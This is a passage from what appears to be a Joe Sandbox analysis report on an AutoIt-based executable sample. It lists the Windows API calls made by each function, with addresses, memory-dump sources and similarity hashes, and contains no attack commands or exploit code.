                                                • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00DD8B2A
                                                • OpenProcessToken.ADVAPI32(00000000), ref: 00DD8B31
                                                • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00DD8B40
                                                • CloseHandle.KERNEL32(00000004), ref: 00DD8B4B
                                                • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00DD8B7A
                                                • DestroyEnvironmentBlock.USERENV(00000000), ref: 00DD8B8E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                • String ID:
                                                • API String ID: 1413079979-0
                                                • Opcode ID: da94db9a584b46ac160ffea5816784d7d0f2b315d492dbba87eba41fd8073e51
                                                • Instruction ID: ecda9be0917349c5cc35e85815311f127c4ad2065ccb54f7efd68d4254615d08
                                                • Opcode Fuzzy Hash: da94db9a584b46ac160ffea5816784d7d0f2b315d492dbba87eba41fd8073e51
                                                • Instruction Fuzzy Hash: 5D116DB250020DAFDF128FA5DD49FDE7BA9EF08705F094066FE04A2160C7769D64EB61
                                                Function 00E0C19A Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D8134D
                                                  • Part of subcall function 00D812F3: SelectObject.GDI32(?,00000000), ref: 00D8135C
                                                  • Part of subcall function 00D812F3: BeginPath.GDI32(?), ref: 00D81373
                                                  • Part of subcall function 00D812F3: SelectObject.GDI32(?,00000000), ref: 00D8139C
                                                • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00E0C1C4
                                                • LineTo.GDI32(00000000,00000003,?), ref: 00E0C1D8
                                                • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00E0C1E6
                                                • LineTo.GDI32(00000000,00000000,?), ref: 00E0C1F6
                                                • EndPath.GDI32(00000000), ref: 00E0C206
                                                • StrokePath.GDI32(00000000), ref: 00E0C216
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                • String ID:
                                                • API String ID: 43455801-0
                                                • Opcode ID: 83c45be9cc1736c65f43d2adca844e31ea3948b5f667d3f1c991807b7dc4c6ec
                                                • Instruction ID: 0aa3904f71a76561ec7252439139cf5a2cad0741b02b431859f3bb02900f67d4
                                                • Opcode Fuzzy Hash: 83c45be9cc1736c65f43d2adca844e31ea3948b5f667d3f1c991807b7dc4c6ec
                                                • Instruction Fuzzy Hash: EC111B7640010CBFDF119F91DC88FAA7FADEB09354F048021FA186A5B1C7729DA9DBA0
                                                Function 00DA03A2 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00DA03D3
                                                • MapVirtualKeyW.USER32(00000010,00000000), ref: 00DA03DB
                                                • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00DA03E6
                                                • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00DA03F1
                                                • MapVirtualKeyW.USER32(00000011,00000000), ref: 00DA03F9
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00DA0401
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Virtual
                                                • String ID:
                                                • API String ID: 4278518827-0
                                                • Opcode ID: c2c64d275d58dfd6552ed10d7948c033bc586d2016e8d1022dabff39f472b79b
                                                • Instruction ID: 04b7a8951bbbd8142de8d9736043d199335094bed6074704c3ab305962b0ef8f
                                                • Opcode Fuzzy Hash: c2c64d275d58dfd6552ed10d7948c033bc586d2016e8d1022dabff39f472b79b
                                                • Instruction Fuzzy Hash: 38016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BE15C47941C7F5A868CBE5
                                                Function 00DE568B Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00DE569B
                                                • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00DE56B1
                                                • GetWindowThreadProcessId.USER32(?,?), ref: 00DE56C0
                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DE56CF
                                                • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DE56D9
                                                • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DE56E0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                • String ID:
                                                • API String ID: 839392675-0
                                                • Opcode ID: 8a67c17b604d85c6f283822f0b607f8991e8bb7ddddb2f9af46121bcf99fe941
                                                • Instruction ID: cb6b0325cef46e3aff46aa33598ff94bb1ccd7ce0eb6474354112a0b2c77e40e
                                                • Opcode Fuzzy Hash: 8a67c17b604d85c6f283822f0b607f8991e8bb7ddddb2f9af46121bcf99fe941
                                                • Instruction Fuzzy Hash: 50F06D32241158BFE3305BA3AC0DEAF7A7CEBC6B11F000169FA00E1051DAA21A6586F5
                                                Function 00DE74D2 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(?,?), ref: 00DE74E5
                                                • EnterCriticalSection.KERNEL32(?,?,00D91044,?,?), ref: 00DE74F6
                                                • TerminateThread.KERNEL32(00000000,000001F6,?,00D91044,?,?), ref: 00DE7503
                                                • WaitForSingleObject.KERNEL32(00000000,000003E8,?,00D91044,?,?), ref: 00DE7510
                                                  • Part of subcall function 00DE6ED7: CloseHandle.KERNEL32(00000000,?,00DE751D,?,00D91044,?,?), ref: 00DE6EE1
                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00DE7523
                                                • LeaveCriticalSection.KERNEL32(?,?,00D91044,?,?), ref: 00DE752A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                • String ID:
                                                • API String ID: 3495660284-0
                                                • Opcode ID: 143e16dacb27e3ca886f0827b455480908ec3b1a792221350db5fe4e71fb41da
                                                • Instruction ID: 5c44332ed4eef88bacce38eaa589d1954cda55ee171668c0603971f3bc4ea999
                                                • Opcode Fuzzy Hash: 143e16dacb27e3ca886f0827b455480908ec3b1a792221350db5fe4e71fb41da
                                                • Instruction Fuzzy Hash: 98F0543A540712EFD7222B65FC4C9DB7729EF45702B040531F102A14B5CB7658A5CB60
                                                Function 00DD8E74 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00DD8E7F
                                                • UnloadUserProfile.USERENV(?,?), ref: 00DD8E8B
                                                • CloseHandle.KERNEL32(?), ref: 00DD8E94
                                                • CloseHandle.KERNEL32(?), ref: 00DD8E9C
                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 00DD8EA5
                                                • HeapFree.KERNEL32(00000000), ref: 00DD8EAC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                • String ID:
                                                • API String ID: 146765662-0
                                                • Opcode ID: a8dfc1f8932f4f9425a5deca0c24432d1731906f6f5a939481ca8502d6dee4f2
                                                • Instruction ID: 9621adf35bb4edb981ecfea429d954e177b2bb18cfeaa8a25d5d9f6d9fa5459d
                                                • Opcode Fuzzy Hash: a8dfc1f8932f4f9425a5deca0c24432d1731906f6f5a939481ca8502d6dee4f2
                                                • Instruction Fuzzy Hash: 97E0C236004201FFDA115FE2EC0C90ABB79FB89722B108231F219A1871CB3394B8DB90
                                                Function 00DD7A78 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON
                                                Download Yara Rule
                                                APIs
                                                • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00E12C7C,?), ref: 00DD7C32
                                                • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00E12C7C,?), ref: 00DD7C4A
                                                • CLSIDFromProgID.OLE32(?,?,00000000,00E0FB80,000000FF,?,00000000,00000800,00000000,?,00E12C7C,?), ref: 00DD7C6F
                                                • _memcmp.LIBCMT ref: 00DD7C90
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FromProg$FreeTask_memcmp
                                                • String ID: ,,
                                                • API String ID: 314563124-1556401989
                                                • Opcode ID: 1321dc2fe1bac0eae6e3595edc192616451e211adccd60bed8a3cea7595fea59
                                                • Instruction ID: 1e6fa7a2e88bb2343388390d5b7ca3a24d7f1c9a7695ac8ab44f36ec85415c87
                                                • Opcode Fuzzy Hash: 1321dc2fe1bac0eae6e3595edc192616451e211adccd60bed8a3cea7595fea59
                                                • Instruction Fuzzy Hash: 7C812C75A00109EFCB04DF98C984DEEB7B9FF89315F244199F506AB250EB71AE46CB60
                                                Function 00DF8902 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00DF8928
                                                • CharUpperBuffW.USER32(?,?), ref: 00DF8A37
                                                • VariantClear.OLEAUT32(?), ref: 00DF8BAF
                                                  • Part of subcall function 00DE7804: VariantInit.OLEAUT32(00000000), ref: 00DE7844
                                                  • Part of subcall function 00DE7804: VariantCopy.OLEAUT32(00000000,?), ref: 00DE784D
                                                  • Part of subcall function 00DE7804: VariantClear.OLEAUT32(00000000), ref: 00DE7859
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                • API String ID: 4237274167-1221869570
                                                • Opcode ID: 201dacaa74c8bb19439e15bfd147b32978a443ea67033c7c55b2c97975913c38
                                                • Instruction ID: 051100570df4918164e876d308521ebee2bc602f86321118ba51ee7f3a56da0b
                                                • Opcode Fuzzy Hash: 201dacaa74c8bb19439e15bfd147b32978a443ea67033c7c55b2c97975913c38
                                                • Instruction Fuzzy Hash: 729191716043059FC710EF24C48596BBBE4EF89704F08896EF99A8B361DB31E945CB72
                                                Function 00DE2F86 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D9FEC6: _wcscpy.LIBCMT ref: 00D9FEE9
                                                • _memset.LIBCMT ref: 00DE3077
                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00DE30A6
                                                • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00DE3159
                                                • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00DE3187
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                • String ID: 0
                                                • API String ID: 4152858687-4108050209
                                                • Opcode ID: 2e5c278aff0a1900a92ab9819232f819f5383cd022fed7b3747f066e5a9aa12b
                                                • Instruction ID: 4aa2c09c1b7df9f27a816d27df83f8b031d5cd7a4317b3165646371f84edecfa
                                                • Opcode Fuzzy Hash: 2e5c278aff0a1900a92ab9819232f819f5383cd022fed7b3747f066e5a9aa12b
                                                • Instruction Fuzzy Hash: 5851A2716083809ED725BF2AD849A7BB7E8EF95364F08092DF895D3191DB70CE448772
                                                Function 00DE2C42 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DE2CAF
                                                • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00DE2CCB
                                                • DeleteMenu.USER32(?,00000007,00000000), ref: 00DE2D11
                                                • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00E46890,00000000), ref: 00DE2D5A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Menu$Delete$InfoItem_memset
                                                • String ID: 0
                                                • API String ID: 1173514356-4108050209
                                                • Opcode ID: 5ab8d309c40eb0450de019d6abc8e0ba4e3d9dd761f834af20b6b02d82a0e3a4
                                                • Instruction ID: 584edb3aeaafc6bc3cd1c5e4b9e86241e4ea83c5ffcb9b94630071999f2de262
                                                • Opcode Fuzzy Hash: 5ab8d309c40eb0450de019d6abc8e0ba4e3d9dd761f834af20b6b02d82a0e3a4
                                                • Instruction Fuzzy Hash: 884181701043819FD724EF26DC44B6AB7E9EF85320F18461DFAA597291D770E904CBB2
                                                Function 00DFDAB9 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00DFDAD9
                                                  • Part of subcall function 00D879AB: _memmove.LIBCMT ref: 00D879F9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharLower_memmove
                                                • String ID: cdecl$none$stdcall$winapi
                                                • API String ID: 3425801089-567219261
                                                • Opcode ID: 4d6edbb4eec7c9c56498fc4e7d95cdcab0d41e48585fe55c9486ed3c9dcb79b5
                                                • Instruction ID: 58ca15415ab6ecae12d106cea6073fb64c212d265102c163f82733ee8046c195
                                                • Opcode Fuzzy Hash: 4d6edbb4eec7c9c56498fc4e7d95cdcab0d41e48585fe55c9486ed3c9dcb79b5
                                                • Instruction Fuzzy Hash: 0031CF7150021AAFCF00EF54CC818BEB7B6FF45310B15862AE966A7691CB31E906CBB0
                                                Function 00DD9372 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00DDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00DDB0E7
                                                • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00DD93F6
                                                • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00DD9409
                                                • SendMessageW.USER32(?,00000189,?,00000000), ref: 00DD9439
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$_memmove$ClassName
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 365058703-1403004172
                                                • Opcode ID: 29ebaab5a23d8d215b6564d8f7baa48408c5a8b664eb68ccfef3ea3ff944e7fc
                                                • Instruction ID: ac157f7e9ff210c31df5f550a5405fcf6eabc8f23d75b7cd2daaabeccb015917
                                                • Opcode Fuzzy Hash: 29ebaab5a23d8d215b6564d8f7baa48408c5a8b664eb68ccfef3ea3ff944e7fc
                                                • Instruction Fuzzy Hash: 5F21E471900104BEDB14ABB0DC95CFFB768DF05760B14421AF925A72E1DB36594A9730
                                                Function 00E06656 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D81D73
                                                  • Part of subcall function 00D81D35: GetStockObject.GDI32(00000011), ref: 00D81D87
                                                  • Part of subcall function 00D81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D81D91
                                                • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00E066D0
                                                • LoadLibraryW.KERNEL32(?), ref: 00E066D7
                                                • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00E066EC
                                                • DestroyWindow.USER32(?), ref: 00E066F4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                • String ID: SysAnimate32
                                                • API String ID: 4146253029-1011021900
                                                • Opcode ID: 270a16d23c5ebc501e7b70db47412ad3398288291355df07e6aeed1245fb89ce
                                                • Instruction ID: f8cb93c94370a3819a162dc77062c2fe0ca6816b6ca017e65329c6adea0382b9
                                                • Opcode Fuzzy Hash: 270a16d23c5ebc501e7b70db47412ad3398288291355df07e6aeed1245fb89ce
                                                • Instruction Fuzzy Hash: 57218B71200206AFEF104FA4EC80FAB37ADEB59768F106629F911B61E0D7728CA19760
                                                Function 00DE703E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(0000000C), ref: 00DE705E
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00DE7091
                                                • GetStdHandle.KERNEL32(0000000C), ref: 00DE70A3
                                                • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00DE70DD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateHandle$FilePipe
                                                • String ID: nul
                                                • API String ID: 4209266947-2873401336
                                                • Opcode ID: 4e62981e0d482ea1fbe6b510e32a1ea0a848188606cd43ab3dc4336a89446b77
                                                • Instruction ID: e1bdf6df708471fe84072c38ac65d3013b0408e3ca71ded16d0e9a7d1ea5dbd6
                                                • Opcode Fuzzy Hash: 4e62981e0d482ea1fbe6b510e32a1ea0a848188606cd43ab3dc4336a89446b77
                                                • Instruction Fuzzy Hash: 7221817450434AABDB20AF3ADC05A9A77B8BF54720F244619FCA0D72D0D7B1D950CB70
                                                Function 00DE710C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetStdHandle.KERNEL32(000000F6), ref: 00DE712B
                                                • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00DE715D
                                                • GetStdHandle.KERNEL32(000000F6), ref: 00DE716E
                                                • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00DE71A8
                                                Strings
